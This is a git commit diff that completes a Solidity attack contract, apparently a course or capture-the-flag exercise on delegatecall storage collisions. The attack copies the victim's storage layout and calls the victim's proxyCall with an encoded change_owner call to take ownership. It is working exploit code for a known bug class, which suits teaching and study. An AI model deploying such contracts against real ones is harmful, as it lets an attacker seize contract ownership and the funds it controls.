feat: complete exploit

This commit is contained in:
Ting-Jun Wang 2024-03-21 23:24:00 +08:00
parent 8e1fd3c4fe
commit d178a24104
Signed by: snsd0805
GPG Key ID: D175E969960C4B16

View File

@ -10,6 +10,13 @@ contract Attack {
address internal immutable victim; address internal immutable victim;
// TODO: Declare some variable here // TODO: Declare some variable here
// Note: Checkout the storage layout in victim contract // Note: Checkout the storage layout in victim contract
uint256 var0 = 12345;
uint8 var1 = 32;
string private var2;
address private var3;
uint8 private var4;
address public owner;
mapping(address => bool) public result;
constructor(address addr) payable { constructor(address addr) payable {
victim = addr; victim = addr;
@ -17,9 +24,17 @@ contract Attack {
// NOTE: You might need some malicious function here // NOTE: You might need some malicious function here
function change_owner(address EOA) public {
owner = EOA;
result[EOA] = true;
}
function exploit() external { function exploit() external {
// TODO: Add your implementation here // TODO: Add your implementation here
// Note: Make sure you know how delegatecall works // Note: Make sure you know how delegatecall works
// bytes memory data = ... // bytes memory data = ...
bytes memory data = abi.encodeWithSignature("change_owner(address)", msg.sender);
ID31eg4t3(victim).proxyCall(data);
} }
} }